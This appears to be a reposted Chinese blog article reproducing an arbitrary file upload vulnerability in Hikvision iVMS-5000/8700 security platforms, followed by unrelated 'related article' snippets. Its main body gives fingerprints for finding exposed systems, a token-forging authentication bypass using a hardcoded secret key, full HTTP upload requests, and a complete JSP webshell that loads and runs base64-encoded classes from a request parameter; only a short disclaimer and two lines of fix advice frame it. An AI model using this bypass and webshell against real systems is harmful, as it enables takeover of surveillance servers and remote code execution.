【漏洞复现】海康威视iVMS综合安防系统任意文件上传漏洞复现 (在野0day)

article/2025/8/22 13:34:53

文章目录

  • 前言
  • 声明
  • 一、产品简介
  • 二、漏洞概述
  • 三、影响范围
  • 四、漏洞验证
  • 五、漏洞利用
  • 六、修复建议


前言

海康威视iVMS综合安防系统存在任意文件上传漏洞 ,攻击者可通过构造特定Payload实施对目标的攻击。


声明

本篇文章仅用于漏洞复现与技术研究,请勿利用文章内的相关技术从事非法测试,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!


一、产品简介

海康威视 iVMS 集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控、连网报警、智能分析、运维管理等多种安全防范应用系统,构建的多业务应用综合管理平台。
在这里插入图片描述

二、漏洞概述

海康威视 iVMS系统存在在野利用 0day漏洞,攻击者可通过获取密钥任意构造token,请求/resourceOperations/upload 接口任意上传文件,导致获取服务器WebShell权限,同时可远程进行恶意代码执行

三、影响范围

  • 海康威视综合安防系统 iVMS-5000

  • 海康威视综合安防系统 iVMS-8700

四、漏洞验证

鹰图指纹: web.body=" /views/home/file/installPackage.rar"
hunter指纹: web.icon==" 3670cbb1369332b296ce44a94b7dd685"

漏洞url:/eps/api/resourceOperations/upload
测试脚本: https://github.com/sccmdaveli/hikvision-poc

脚本验证
在这里插入图片描述
手工测试

bp抓起首页包,尝试访问接口 (这里出现token需要进行鉴权)
在这里插入图片描述
数据包如下:

POST /eps/api/resourceOperations/upload HTTP/1.1
Host: X.X.X.X
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: ISMS_8700_Sessionname=60F93668C907B8C1E8E7A1C16A382723
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 57service=http%3A%2F%2FX.X.X.X%2Fhome%2Findex.action

构造token绕过认证 (内部机制:如果token值与请求url+secretkey的MD5值相同就可以绕过认证)

secretkey是代码里写死的 (默认值:secretKeyIbuilding)

token值需要进行MD5加密 (32位大写)

组合:token=MD5 (url+" secretKeyIbuilding")


MD5加密网址:https://www.sojson.com/encrypt_md5.html

http://X.X.X.X/eps/api/resourceOperations/uploadsecretKeyIbuilding

MD5 32位大写: ************************
在这里插入图片描述
再次验证:

数据包:

POST /eps/api/resourceOperations/upload?token=9A*************************A0 HTTP/1.1
Host: X.X.X.X
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: ISMS_8700_Sessionname=1ED2B975E9CB9B73D71CD033B92F5AB5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 63service=http%3A%2F%2FX.X.X.X%3AXXXX%2Fhome%2Findex.action

在这里插入图片描述
可以看出已经成功绕过!!!

构造文件上传Payload

POST /eps/api/resourceOperations/upload?token=9A******************************A0 HTTP/1.1
Host: X.X.X.X
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: ISMS_8700_Sessionname=1ED2B975E9CB9B73D71CD033B92F5AB5
Connection: close
Content-Type: multipart/form-data;boundary=f7d1250b2d43db9324c19e1073573ce6
Content-Length: 179--f7d1250b2d43db9324c19e1073573ce6
Content-Disposition: form-data; name="fileUploader"; filename="1.jsp"
Content-Type: image/jpegtest
--f7d1250b2d43db9324c19e1073573ce6—

在这里插入图片描述
Web访问:http://X.X.X.X/eps/upload/resourceUuid值.jsp
在这里插入图片描述

五、漏洞利用

Tips:谨慎操作

以下为JSP木马

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

在这里插入图片描述
在这里插入图片描述
该漏洞利用方式简便,危害极高,建议及时修复!!!


六、修复建议

关闭互联网暴露面访问的权限,文件上传模块做好权限强认证

建议各单位对应用进行排查,以免造成其他影响。


http://chatgpt.dhexx.cn/article/hmJ3oexo.shtml

相关文章

实现暂停一秒输出的效果_HID控制器与海康威视人脸识别amp;测温门禁一体机实现联动的改造方法...

本文介绍了传统门禁系统与海康威视人脸识别&测温门禁一体机通过修改线路实现人脸测温卡控制门禁系统的方法。 v 实现功能&#xff1a; 可实现人脸认证卡认证双重认证&#xff1b; 可实现体温控制&#xff0c;体温超限人员无法进入&#xff1b; v 实现原理&#xff1a…

Python函数的参数传递细节

一、C/C中的函数参数传递 在C/C的函数参数传递大家都很好理解&#xff0c;在定义时的参数就是形参&#xff0c;调用时输入的就是实参&#xff0c;下面用代码来理解值传递、地址传递&#xff08;引用传递&#xff09;&#xff1a; 1.1 值传递 void find(int x){} int z 1; y …

python中参数传递

在编程语言中&#xff0c;函数的参数传递有两种情况&#xff1a; 按值类型传递 num 10 def double(arg):argarg*2print(arg)double(num)调用该函数&#xff0c;传入一个变量&#xff0c;其实传入的是该变量的一个副本&#xff0c;该变量在函数中发生变化&#xff0c;不影响函…

Python参数的传递

一、参数的传递 函数的参数传递本质上就是&#xff1a;从实参到形参的赋值操作。Python中“一切皆对象”&#xff0c;所有的赋值操作都是“引用的赋值”。所以&#xff0c;Python中参数的传递都是“引用传递”&#xff0c;不是“值传递”。 具体操作时分为两类&#xff1a; …

python传参数的方法

Python的参数传递是通过传参指针来完成的&#xff0c;当参数指针指向了另一个变量时&#xff0c;它就会被传递给它。这种传递方式与 Java或C#中的传参方式是类似的&#xff0c;在 Python中&#xff0c;参数可以是一个字符串&#xff0c;也可以是一个对象。这个方法的好处是它不…

python中参数的传递

一、函数的参数传递本质上就是∶从实参到形参的赋值操作。Python中“一切皆对象”&#xff0c;所有的赋值操作都是‘引用的赋值”。所以&#xff0c;Python中参数的传递都是“引用传递”&#xff0c;不是“值传递”。具体操作时分为两类︰ 1.对“可变对象”进行“写操作”&…

Python函数参数传递

Python函数参数传递 一、前言二、了解形式参数和实际参数1.通过作用理解2.通过比喻来理解形参和实参 三、位置参数1.数量必须与定义时一致2.位置必须与定义时一致 四、关键字参数五、为参数设置默认值六、可变参数1.*parameter2.**parameter 一、前言 在调用函数时&#xff0c;…

计算机毕业论文外文翻译是什么,毕业论文的外文翻译是什么

毕业论文的外文翻译是什么 此栏目涵盖有关于外文翻译和毕业论文的范例,免费给你学论文的外文翻译是什么提供有关参考资料。 摘要&#xff1a;文章从成人学生知识基础、指导教师、写作过程监控等方面&#xff0c;分析了成人高校学生在毕业论文写作中存在的伪造、抄袭、专业水平低…

关于android的外文论文,毕业论文外文翻译-Android开发

毕业论文外文翻译-Android开发 (11页) 本资源提供全文预览&#xff0c;点击全文预览即可全文预览,如果喜欢文档就下载吧&#xff0c;查找使用更方便哦&#xff01; 9.90 积分 毕业设计(论文)外文翻译 毕业 论文题目 基于 Android 手机通讯录的设计与实现 作 者 姓 名 所学专业…

在哪能查到英文论文?

不论是撰写英文论文还是引用外文文献&#xff0c;写论文的过程中想必缺不了检索合适的英文论文这个步骤&#xff0c;在本篇内容里&#xff0c;不仅教会你如何查到英文论文&#xff0c;还要教会你怎么样快速找到合适的英文论文&#xff01;听起来是不是令人心驰神往&#xff0c;…

计算机毕业论文外文译文,计算机毕业论文外文文献译文

计算机毕业论文外文文献译文 外文文献原文What is ASP.NET? ASP.NET is a programming framework built on the common language runtime that can be used on a server to build powerful Web applications. ASP.NET offers several important advantages over previous Web…

如果想要直到一篇外文论文的质量

首先在CCF A类中寻找 然后view这篇论文&#xff0c;然后点击这篇论文所属的期刊名称2处 就可以看到引用得分和影响因子了&#xff0c;3处 文献鸟自动推送&#xff1a;https://www.storkapp.me/main.php 文献鸟使用的教学视频&#xff1a;https://www.bilibili.com/video/BV1tf4…

关于php的外文论文,php毕业设计外文翻译--通过PHP访问MySQL(适用于毕业论文外文翻译+中英文对照).doc...

[摘要]PAGE 原文&#xff1a;? ? Getting PHP to Talk to MySQl Now that you’re comfortable using the MySQL client tools to manipulate data in the database, you can begin using PHP to display and modify data from the database. PHP has standard functions for…

都有哪些查找和下载英文文献的方法?

很多朋友在查找文献的时候&#xff0c;都不知道该从哪里找&#xff0c;也不知道从哪里下载&#xff0c;怎么下载&#xff0c;尤其是想要查找英文文献。其实查询和下载英文文献无非以下三种方式&#xff1a; 选择一些比较权威&#xff0c;内容丰富&#xff0c;基本覆盖所有学科…

面向对象实现游戏聊天中的敏感词屏蔽功能,将敏感词汇用星号***替换

import java.util.Scanner;//新建一个类 public class Replace {// 定义一个字符串String commons;// 建一个替换的方法public void replace() { //控制台输入Scanner sc new Scanner(System.in);// 提示输出&#xff08;为方便功能实现&#xff0c;此处提示内定的敏感词汇&am…

腾讯敏感词汇大全_腾讯数平精准推荐 | OCR技术之识别篇

腾讯数平精准推荐(Tencent-DPPR)团队一直致力于实时精准推荐、海量大数据挖掘等领域的技术研发与落地。 在社交广告推荐领域,团队自研的深度在线点击率预估算法及全流程实时推荐系统,持续多年提升社交广告点击率。图像作为当前社交广告最重要的展示形式,文字识别、物体识别等…

小程序中关于敏感词汇检测

小程序审核增加敏感词汇校验&#xff0c;避免违法违规而被停用服务或者投诉。 本文例子引用的百度AI开发者提供的API&#xff1a; 链接位置&#xff1a;https://console.bce.baidu.com/ai/#/ai/ocr/overview/index 创建应用后生成应用对应的id和key 应用到小程序中,&#xff…

Python 如何检测敏感词汇

设计思路&#xff1a;根据敏感词库文件筛选&#xff0c;查看输入的文本中是否包含敏感词汇。从而过滤出相关的敏感词。 【阅读全文】 导入应用相关的模块。 import os import logging import sys导入UI界面相关的模块。 from PyQt5.QtWidgets import QApplication,QWidget,…

敏感词汇工具类sensitive word的使用及详解

简述&#xff1a; 1.平时工作中&#xff0c;只要涉及到用户可以自由发言&#xff08;博客、文档、论坛&#xff09;&#xff0c;就要考虑内容的敏感性处理,sensitive word工具是一个快速的敏感词过滤工具,基于 DFA 算法实现的高性能敏感词工具&#xff08;mirrors / houbb / s…